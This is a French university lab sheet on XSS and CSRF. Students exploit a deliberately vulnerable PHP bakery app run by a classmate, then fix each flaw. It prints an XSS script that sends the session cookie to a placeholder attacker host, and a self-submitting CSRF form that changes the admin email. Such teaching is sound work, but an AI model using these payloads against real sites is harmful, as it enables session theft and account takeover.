XSS et CSRF

Introduction

Installation

Téléchargez tout d'abord l'archive suivante :

Décompressez-la, puis importez le script database/boulangerie.sql dans votre base de données. (Au département, suivez ce lien). Modifiez également le fichier config.php pour qu'il corresponde à votre configuration, puis lancez un serveur phpen écoute :

php -S 0.0.0.0:8080

Test de l'application

Connectez vous à http://localhost:8080/. Vous devriez voir une page qui ressemble à cela :

Inscrivez-vous, votre premier utilisateur sera administrateur.

Donnez l'adresse IP de votre machine à un camarade, son but sera d'exploiter les failles de votre application et vice-versa.

Pour exploiter les failles XSS et CSRF, il faut obtenir que la victime se rende sur une page, vous pourrez vous envoyer des liens par mail ou par message privé.

Faille XSS

Trouver une page vulnérable

La première faille que nous allons exploiter est la faille XSS. Cette dernière consiste à trouver une page qui permet à un utilisateur de faire un rendu de code qui sera interprété par le navigateur.

Trouvez tout d'abord la page vulnérable.

Écriture du script d'exploitation

Écrivez un script qui récupère le cookie de session de l'utilisateur et l'envoie à votre serveur. Pour ce faire, vous pourrez par exemple lancer un serveur avec php -S 0.0.0.0:8081 et l'utiliser pour récupérer le cookie de session.

Voici un exemple de script utilisable:

// Un script que l'on injecte en XSS
<script>
var i = new Image();
i.src = "http://attaquant/" + document.cookie;
</script>

Obtention du cookie

Couplez ce script avec l'exploitation de la faille XSS précédemment identifiée, demandez à votre camarade de se rendre sur la page vulnérable.

Utilisation du cookie

Modifier le cookie de session de votre navigateur pour qu'il corresponde à celui de votre camarade. Vous devriez être maintenant admin!

Correction de la faille

Trouvez un moyen de corriger le problème original afin que la faille XSS ne soit plus exploitable.

Faille CSRF

Trouver une page vulnérable

La seconde faille que nous allons exploiter est la faille CSRF. Cette dernière consiste à trouver une action que l'on souhaite forcer l'administrateur à faire.

Trouvez tout d'abord la page vulnérable.

Écriture du script d'exploitation

Écrivez un script qui force l'administrateur à effectuer l'action que vous souhaitez.

Voici un exemple de script utilisable:

<!-- piege.html, hébergé par l'attaquant (on envoie la victime dessus) -->
<form id="form" method="post" action="http://victime:8080/admin.php">
<input name="email" type="hidden" value="attaquant@attaquant.com">
</form>
<script>
    document.getElementById("form").submit();
</script>

Exploitation

En demandant simplement à votre camarade de se rendre sur une page, vous devriez pouvoir effectuer l'action.

Correction de la faille

Trouvez un moyen de corriger le problème original afin que la faille CSRF ne soit plus exploitable.